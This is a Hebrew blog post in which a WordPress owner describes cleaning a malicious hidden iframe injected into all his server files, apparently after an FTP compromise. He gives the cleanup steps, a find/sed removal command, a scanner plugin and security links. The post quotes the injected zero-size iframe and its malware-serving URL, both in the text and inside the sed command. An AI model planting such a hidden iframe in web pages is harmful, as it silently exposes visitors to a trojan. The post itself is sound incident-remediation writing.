http://weblogtoolscollection.com/archives/2009/06/15/security-and-anti-spam-plugins-for-wordpress/(זהירות: פוטס טכני לחובבי הוורדפרס מבינינו)
אז לאחר שגיליתי שהבלוג שלי נדבק בווירוס, יצאתי לחפש אחר פתרון ובפוסט זה אני מביע תודה לכל אלו שעזרו ומקווה לסייע לאחרים בעתיד שיתקלו בבעיות דומות.
הבעיה הייתה שאיכשהו (כנראה פריצה לאחד היוזרים של ה- FTP של השרת שלי) איזשהו בוט נכנס לשרת והכניס לקבצים שבשרת שורת קוד שטוענת אתר (iframe) בתוך כל אחד מהאתרים שלי, האתר הזה מתקין איזשהו סוס טרויאני (לא ברור איזה), וזיהם את רוב (אם לא כל) הקבצים שעל השרת.
הקוד הזדוני נראה כך (הדרך שבה הדבקתי אותו אמורה לסרס את פעולת הקוד, אבל לא הייתי ממליץ להכנס ללינק ללא אנטיווירוס מותקן):
<iframe src="http:// m-analytics . net /qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
כיצד מצאתי את הפתרון:
- פניתי לחברי בפייסבוק, טוויטר, קבוצת העזרה של וורדפרס העולמית וקבוצת הדיון של וורדפרס בעברית לבקש עזרה. אף אחד לא נתן את הפתרון המדויק, אבל שילוב של הפתרונות הביא לסיום הפרשה. אני רוצה להודות לדותן מזור ואיתן ברקט (ששילוב הטיפים שלהם הוא שפתר לי את רוב התעלומה – ראו סעיף 5), לצפריר ריהן (שנתן טיפים כלליים טובים), לתומר כהן, לאלעד (על הרצון הטוב), ניצן בן-נון (שנתן כיוונים מעולים והפתרון שלו כמעט עבד, אבל לא הצלחתי ליישם אותו כלשונו), לדוד גור ולאריק וגליה (שרצו לעזור, אבל לא הספיקו לעזור לפני האחרים). (דוד, ניצן וגליה – איני יודע מה הלינקים לבלוגים שלכם, תשלחו ותקבלו)
- כדי לוודא בכל שלב של הניסוי האם אני מצליח או לא, השתמשתי באתר "הסר מסכות טפילים" שמגלה האם יש באתר כלשהו עדות ללינקים חבויים או דברים שמעלים חשד של פריצה לאתר.
- התקנתי על הוורדפרס את התוסף WordPress Exploit Scanner אליו הגעתי דרך הפוסט Security And Anti-spam Plugins For WordPress – זהו תוסף שמאפשר לגלות קבצים "מזוהמים" בוורדפרס. מה שאיפשר לי לזהות איפה נמצאו הלינקים שיש להוריד.
- מצאתי באינטרנט מישהו אחר שנתן הוראות (שלא בדיוק עבדו) לפתרון בעיה דומה של החדרת קוד זדוני של iframe, http://fieldsmarshall.com/htmliframe-inf-wordpress-infection/ שם קיבלתי אישור שהכיוון הכללי הוא הנכון.
- קיבלתי הפניה לאתר (המצויין) http://www.commandlinefu.com שאפשר בתוכו למצוא אוצרות בלומים של איך לעשות מה עם פקודות ב- SSH (שזה בדיוק מה שנזדקקתי לו) (את זה שלח לי דותן, ובשילוב עם העזרה הכללית בקוד הרג'אקס דרך איתן – הבעיה נפטרה)
מהו הפתרון
היות והיו לי הרבה קבצים נגועים בדיוק באותו הקוד (בדקתי מדגם מהקבצים וכך נתגלה, קוד זיהום זהה), החלטתי שאני רוצה לחפש בכל הקבצים ולהחליף בהם את הקוד המרושע ב"כלום". והנה הצעדים:
ראשית, לגשת לשרת באמצעות קליינט SSH (למעשה 2: winSCP וגם PuTTY. שימו לב שבשביל להצליח להדביק טקסט בתוך ה- PuTTY, צריך קודם ללכת שם ל – windows->selection ושם לבחור באופציה הראשונה של windows)
שנית, להגיע לתקיה שממנה (ומטה) רוצים לבצע את השינויים, ואז להריץ את הפקודה:
find . -name '*.*' -exec sed -i 's/<iframe src="http:\/\/m-analytics.net\/qaqa\/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;
מה שהפקודה אומרת זה תמצא את כל הקבצים (find), לא משנה באיזה שם או סיומת (*.*) וכשתמצא אותם (שזה כולם) תריץ את הפקודה של חיפוש והחלפה (exec sed etc…). כאשר שימו לב שהטקסט שרציתי להחליף שונה במעט כדי שהוא יתאים לקוד "רג'אקסי" (הנה הסבר על הנושא, למעוניינים)
אגב, צפו לקבל הרבה: *** is not a regular file – הוא יפלוט את זה כשהוא יתקל בתיקיות. זה בסדר גמור.
ומה הלאה ?
הפירצה הזו הייתה חוויה לימודית טובה (שהגיעה בתקופה לא מתאימה, אבל ניחא), בעיקר כי הבעיה הייתה (יחסית) פשוטה (אלגוריתמית) לתיקון. ואיפשרה לי לשחק בהרבה כלים. עם זאת, לעתיד, רצוי היה שאשמור על אבטחה יותר אדוקה על האתרים. והנה רשימת מקורות שיעזרו גם לכם לעשות כן:
- http://weblogtoolscollection.com/archives/2009/06/15/security-and-anti-spam-plugins-for-wordpress/ (אנגלית)
- מאמר בוויקי של רן על אבטחת וורדפרס http://docs.wph.co.il/wiki/אבטחה_בוורדפרס (עברית)
- אסופה גדולה של טיפים ונושאים באבטחתח וורדפרס http://itbananas.com/blog-security-second-edition/ (עברית)
- יש לכם עוד לינקים או טיפים? אתם מוזמנים לשתף בתגובות.
אם הפוסט עזר לכם – אתם מוזמנים לפרגן בלינק תודה.
פוסט נהדר ותורם.
תודה.
טל,
סחתיין על השימוש המושכל ב- sed בשילוב עם find!
טוב לדעת שהצלחתי לעזור לך.
דותן